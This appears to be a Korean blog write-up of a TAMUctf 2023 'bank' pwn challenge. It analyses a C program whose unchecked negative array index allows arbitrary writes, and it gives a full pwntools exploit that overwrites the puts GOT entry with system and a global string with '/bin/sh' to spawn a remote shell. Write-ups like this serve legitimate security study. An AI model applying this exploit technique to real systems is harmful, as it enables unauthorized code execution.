728x90
반응형
1. intro
2. code 및 분석
2.1. code
#include <stdio.h>
long accounts[100];
char exit_msg[] = "Have a nice day!";
void deposit() {
int index = 0;
long amount = 0;
puts("Enter the number (0-100) of the account you want to deposit in: ");
scanf("%d", &index);
puts("Enter the amount you want to deposit: ");
scanf("%ld", &amount);
accounts[index] += amount;
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
deposit();
deposit();
puts(exit_msg);
}
2.2. 분석
main 함수에서는 deposit 함수를 두번 실행한 뒤 puts 함수와 함께 종료된다.
deposit 함수에서는 값을 두번 입력 받는데
첫번째는 account의 offset으로 사용될 index이고, 두번째는 index 위치의 값에 더해질 값이다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
음수 삽입이 가능하기 때문에 임의 위치를 참조할 수 있다.
3.2. 공격 준비
index 및 amount 모두 음수 값에 대한 검증이 없기 때문에 임의 위치에 임의 값을 쓸 수 있게 된다.
더불어 accounts 변수는 전역변수이기 때문에 got과 인접한 영역에 위치할 것이다.
또한 프로그램은 마지막에 puts 함수와 함께 종료되기 때문에 이를 system 함수로 변조하고
exit_msg 변수 또한 전역변수이기에 이를 /bin/sh\00으로 변조하면
system("/bin/sh\00")으로 만들 수 있다.
다만 값을 직접적으로 넣는 것이 아니라, 기존 값에 더해지는 형식이기 때문에 조금의 계산이 필요하다.
4. exploit
from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="bank")
#p = process('./bank')
system = 0x44af0
read = 0x71a40
system = -(read-system)
msg = 0x6e20612065766148
sh = 0x0068732f6e69622f
p.sendlineafter(b'in: ','-10'.encode('utf-8'))
p.sendlineafter(b': ',str(sh-msg))
p.sendlineafter(b'in: ','-16'.encode('utf-8'))
p.sendlineafter(b': ',str(system))
p.interactive()
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
TJCTF 2023 - pwn/flip-out (0) | 2023.05.29 |
---|---|
TJCTF 2023 - pwn/teenage-game (0) | 2023.05.26 |
TAMUctf 2023 - Randomness (0) | 2023.05.01 |
TAMUctf 2023 - Pwnme (0) | 2023.05.01 |
TAMUctf 2023 - Pointer (0) | 2023.05.01 |